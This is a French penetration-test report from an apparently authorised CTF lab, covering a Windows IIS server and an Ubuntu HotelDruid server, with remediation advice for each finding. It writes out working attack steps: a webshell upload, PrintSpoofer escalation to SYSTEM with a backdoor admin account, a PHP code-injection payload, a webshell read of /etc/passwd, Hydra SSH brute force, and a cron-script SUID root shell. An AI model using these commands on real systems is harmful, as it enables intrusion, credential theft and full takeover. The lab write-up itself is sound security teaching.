Contexte - Rapport consolidé sur deux machines, réalisé dans le cadre d’un exercice CTF autorisé. Type de test : boîte noire · Date : 15 janvier 2026 · Version : v1.0
| Machine | Cible | Système |
|---|---|---|
| Partie 1 | 10.8.0.4 | Windows |
| Partie 2 | 10.8.0.5 | Ubuntu Hotel |
Total : 5 vulnérabilités critiques, 1 haute.
Partie 1 - Machine Windows (10.8.0.4)
1. Résumé exécutif
Ce document présente les résultats du test d’intrusion réalisé sur la machine
Windows (10.8.0.4). L’objectif était d’identifier les vulnérabilités présentes
et de démontrer l’impact d’une compromission complète.
Le test a révélé des failles critiques menant à une compromission totale : accès initial via un formulaire d’upload non sécurisé, puis escalade vers le compte SYSTEM.
1.1 Synthèse
| Niveau | Nombre |
|---|---|
| Critique | 2 |
| Haute | 0 |
| Moyenne | 0 |
| Basse | 0 |
1.2 Recommandations principales
- Désactiver ou sécuriser immédiatement
/upload.aspxen production. - Restreindre
SeImpersonatePrivilegepour le compte IIS AppPool. - Valider strictement les fichiers uploadés (liste blanche d’extensions, analyse antivirus).
- Désactiver le service Print Spooler si non utilisé.
2. Méthodologie
Méthodologie structurée basée sur le PTES (Penetration Testing Execution Standard).
2.1 Reconnaissance
nmap -A -T4 -p- 10.8.0.4
Ports ouverts : 80 (HTTP), 139/445 (SMB), 5985 (WinRM). Le service HTTP correspond à Microsoft IIS 10.0.
2.2 Scan et énumération
Fuzzing de répertoires web avec dirsearch. La page upload.aspx répond en 200 :
dirsearch -u http://10.8.0.4
# [Status: 200] /upload.aspx
2.3 Analyse des vulnérabilités
Le formulaire d’upload ne présente aucune restriction. Un webshell (shell.aspx)
a pu être uploadé, permettant l’exécution de commandes arbitraires à distance. Le
formulaire affiche même l’avertissement « Upload form test, DO NOT push in
production ».
2.4 Exploitation
Exploitation du webshell pour un accès initial avec les privilèges IIS AppPool, puis PrintSpoofer pour abuser des droits d’impersonation :
C:\inetpub\wwwroot\Uploads\PrintSpoofer64.exe -i -c "whoami"
whoami /priv confirme que SeImpersonatePrivilege est Enabled.
2.5 Post-exploitation
Escalade vers SYSTEM :
C:\inetpub\wwwroot\Uploads\PrintSpoofer64.exe -i -c "whoami"
# => nt authority\system
Recherche des flags :
PrintSpoofer64.exe -i -c "cmd.exe /c dir C:\*.txt /s /b | findstr /i flag"
Récupération du flag Administrator :
PrintSpoofer64.exe -i -c "cmd /c type C:\Users\Administrator\Desktop\flag.txt > C:\inetpub\wwwroot\Uploads\flag_output.txt"
# => OS{BIEN JOUE !}
Création d’un compte admin et connexion via evil-winrm :
PrintSpoofer64.exe -i -c "net user hacker Password123! /add"
PrintSpoofer64.exe -i -c "net localgroup Administrators hacker /add"
evil-winrm -i 10.8.0.4 -u hacker -p Password123!
3. Périmètre du test
Test effectué dans le cadre d’un exercice CTF autorisé.
Cibles
- IP cible :
10.8.0.4 - Système : serveur Windows avec IIS 10.0
- Services ciblés : HTTP (80), SMB (139/445), WinRM (5985)
Type de test
- Boîte noire
- Information initiale : plage IP
10.8.0.0/24uniquement - Objectif : compromission complète et récupération du flag Administrator
4. Résultats détaillés
4.1 Formulaire d’upload non sécurisé exposé en production
- Criticité : CRITIQUE
- Système affecté : Windows (
10.8.0.4) - IIS 10.0 -/upload.aspx
Description - Un formulaire d’upload accessible publiquement à /upload.aspx
permet l’upload de fichiers sans aucune validation, et affiche même un
avertissement « DO NOT push in production ». Le répertoire de destination
(C:\inetpub\wwwroot\Uploads\) est accessible directement via le web.
Impact - Exécution de code arbitraire, compromission complète via webshell, vol de données sensibles.
Preuve de concept
- Découverte via fuzzing :
dirsearch→[Status: 200] /upload.aspx - URL :
http://10.8.0.4/upload.aspx - Répertoire accessible :
http://10.8.0.4/uploads/(directory listing activé)
Remédiation
- IMMÉDIAT : supprimer ou désactiver
/upload.aspxen production. - Liste blanche stricte d’extensions (
.pdf,.docx). - Scanner tous les uploads avant stockage.
- Stocker les uploads hors du webroot (ex :
D:\Uploads\). - Désactiver l’exécution de scripts dans le répertoire d’uploads.
- Ajouter une authentification forte.
4.2 Escalade de privilèges via SeImpersonatePrivilege (PrintSpoofer)
- Criticité : CRITIQUE
- Système affecté : Windows (
10.8.0.4) - compte IIS AppPool avecSeImpersonatePrivilege
Description - Le compte IIS AppPool (iis apppool\defaultapppool) possède
SeImpersonatePrivilege. En l’exploitant avec PrintSpoofer (déjà présent sur le
serveur), on escalade vers NT AUTHORITY\SYSTEM.
Impact - Compromission totale, contrôle complet, dump SAM/SYSTEM, backdoors
persistantes. Flag récupéré : OS{BIEN JOUE !}.
Preuve de concept
whoami /priv => SeImpersonatePrivilege Enabled
PrintSpoofer64.exe -i -c "whoami" => nt authority\system
Flag => OS{BIEN JOUE !}
Remédiation
- Retirer
SeImpersonatePrivilegeau compte IIS AppPool. - Désactiver Print Spooler si non utilisé.
- Compte de service dédié à privilèges minimaux.
- Activer WDAC.
- Patcher Windows et IIS.
5. Plan de remédiation
| Vulnérabilité | Criticité | Délai |
|---|---|---|
Formulaire d’upload non sécurisé (/upload.aspx) | Critique | IMMÉDIAT (< 24h) |
Escalade via SeImpersonatePrivilege | Critique | Court terme (< 1 sem.) |
6. Conclusion - Partie 1
Le test a révélé des vulnérabilités critiques permettant une compromission complète en quelques étapes. La posture de sécurité actuelle est critique.
| Étape | Action |
|---|---|
| 1 - Reconnaissance | Scan nmap → IIS 10.0 sur le port 80 |
| 2 - Énumération | Fuzzing dirsearch → /upload.aspx |
| 3 - Accès initial | Upload de shell.aspx → commandes en tant que IIS AppPool |
| 4 - Escalade | SeImpersonatePrivilege + PrintSpoofer → NT AUTHORITY\SYSTEM |
| 5 - Objectif | Flag Administrator : OS{BIEN JOUE !} |
7. Annexe - outils (Partie 1)
| Outil | Usage |
|---|---|
| Nmap 7.94 | Scan de ports et énumération |
| dirsearch / ffuf | Fuzzing web (common.txt) |
| curl | Tests HTTP, formulaire d’upload |
| enum4linux | Énumération SMB (accès refusé) |
| Navigateur | Interaction avec shell.aspx |
| PrintSpoofer64.exe | Exploitation SeImpersonatePrivilege |
| evil-winrm | Connexion WinRM |
Partie 2 - Ubuntu Hotel (10.8.0.5)
8. Résumé exécutif
Test sur le serveur Ubuntu Hotel (10.8.0.5). Compromission totale : accès
initial via HotelDruid vulnérable, puis élévation vers root via un script cron
modifiable.
8.1 Synthèse
| Niveau | Nombre |
|---|---|
| Critique | 3 |
| Haute | 1 |
| Moyenne | 0 |
| Basse | 0 |
8.2 Recommandations principales
- Mettre à jour HotelDruid et valider strictement
tipo_tabella. - Désactiver l’accès FTP anonyme ou restreindre les fichiers accessibles.
- Politique de mots de passe robustes (
hotelutilisaitsuperman). - Restreindre l’écriture sur
/srv/auto_update.shau seul root.
9. Méthodologie
PTES, accès VPN au réseau cible (black box). Aucune documentation préalable.
9.1 Reconnaissance
sudo nmap -sC -sV -Pn 10.8.0.5
Ports : 21 (FTP vsftpd 3.0.3), 22 (SSH OpenSSH 7.6p1), 80 (Apache 2.4.29), 111 (RPC). Le FTP autorise la connexion anonyme et expose un PDF.
9.2 Scan et énumération
Connexion FTP anonyme → Hotel Paradise Welcome Internship.pdf. Interface
HotelDruid sur http://10.8.0.5/hoteldruid/inizio.php.
9.3 Analyse des vulnérabilités
Panneau HotelDruid accessible avec des identifiants faibles. Le paramètre
tipo_tabella de visualizza_tabelle.php est vulnérable à une injection PHP
(RCE).
9.4 Exploitation
curl -s "http://10.8.0.5/hoteldruid/dati/selectappartamenti.php?shell=cat%20/etc/passwd"
hydra -l hotel -P /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt ssh://10.8.0.5 -t 4
9.5 Post-exploitation
Script /srv/auto_update.sh exécuté par root via cron, modifiable par hotel.
Création d’un binaire bash SUID :
cat > /srv/auto_update.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/benbecomeroot && chmod 4777 /tmp/benbecomeroot
EOF
/tmp/benbecomeroot -p # whoami => root
10. Périmètre du test
Cibles
- IP cible :
10.8.0.5 - Système : serveur Ubuntu avec Apache, FTP, HotelDruid
- Services ciblés : FTP (21), SSH (22), HTTP (80)
Type de test
- Boîte noire
- Information initiale : accès VPN uniquement
- Objectif : compromission complète et obtention du compte root
11. Résultats détaillés
11.1 Injection de code PHP (RCE) via HotelDruid: CVSS 9.8
- Criticité : CRITIQUE (CVSS 9.8)
- Système affecté : Ubuntu Hotel (
10.8.0.5) - HotelDruid /visualizza_tabelle.php - Type : CWE-94 - Code Injection (RCE)
Description - Le paramètre tipo_tabella du formulaire de création de chambre
n’est pas assaini. En injectant du PHP, un attaquant génère un fichier exécutable
sur le serveur et exécute des commandes système arbitraires.
Preuve de concept
Payload : ${system($_REQUEST[cmd])}
http://10.8.0.5/hoteldruid/dati/selectappartamenti.php?shell=whoami
=> www-data
Remédiation - Mettre à jour HotelDruid ; valider/assainir tous les paramètres ;
désactiver eval() et les fonctions d’exécution système si inutiles.
11.2 Politique de mots de passe faible: CVSS 9.1
- Criticité : CRITIQUE (CVSS 9.1)
- Système affecté : SSH (port 22) et HotelDruid
- Type : CWE-521 - Weak Password Requirements
Description - Deux comptes à mots de passe triviaux : admin HotelDruid
(admin:BestParadise278, deviné via le PDF FTP) et utilisateur SSH
(hotel:superman, trouvé par brute force Hydra en quelques minutes).
Preuve de concept
hydra -l hotel -P rockyou.txt ssh://10.8.0.5 -t 4
=> [22][ssh] host: 10.8.0.5 login: hotel password: superman
Remédiation - Mots de passe ≥ 12 caractères complexes (ANSSI) ; fail2ban ; authentification SSH par clés.
11.3 Permissions excessives sur un script cron système: CVSS 7.8
- Criticité : HAUTE (CVSS 7.8)
- Système affecté : script
/srv/auto_update.sh - Type : CWE-732 - Incorrect Permission Assignment
Description - Le script /srv/auto_update.sh, exécuté par root via cron, est
modifiable par l’utilisateur hotel. On y injecte des commandes exécutées en root.
Preuve de concept
cp /bin/bash /tmp/benbecomeroot && chmod 4777 /tmp/benbecomeroot
/tmp/benbecomeroot -p # => euid=0(root)
Remédiation - chmod 700 sur le script (root seul) ; audit régulier des
permissions des scripts cron.
12. Chaîne d’attaque complète (Partie 2)
| Étape | Action |
|---|---|
| 1 - FTP anonyme | Récupération de Hotel Paradise Welcome Internship.pdf |
| 2 - Credential guessing | Identifiants admin HotelDruid : admin:BestParadise278 |
| 3 - Injection PHP (RCE) | Webshell via tipo_tabella → commandes en www-data |
| 4 - Mouvement latéral SSH | /etc/passwd via webshell, brute force → hotel (superman) |
| 5 - Root | Modification du cron /srv/auto_update.sh → shell root via SUID |
13. Conclusion - Partie 2
Le serveur présente un niveau de sécurité insuffisant. Application web non patchée, mots de passe triviaux et permissions défaillantes ont permis d’atteindre root depuis un simple accès VPN.
| Vulnérabilité | Criticité | Délai |
|---|---|---|
Injection PHP RCE (tipo_tabella) | Critique | IMMÉDIAT (< 24h) |
Mots de passe faibles (hotel:superman) | Critique | IMMÉDIAT (< 24h) |
Permissions sur /srv/auto_update.sh | Haute | Court terme (< 1 sem.) |
| FTP anonyme exposant des informations | Haute | Court terme (< 1 sem.) |
14. Annexe - outils (Partie 2)
| Outil | Usage |
|---|---|
| Nmap | Scan de ports (-sC -sV -Pn) |
| Navigateur / curl | HotelDruid, webshell PHP |
| Hydra | Brute force SSH (rockyou.txt) |
| FTP client | Connexion anonyme, récupération du PDF |
| Shell bash | Exploitation cron et escalade root |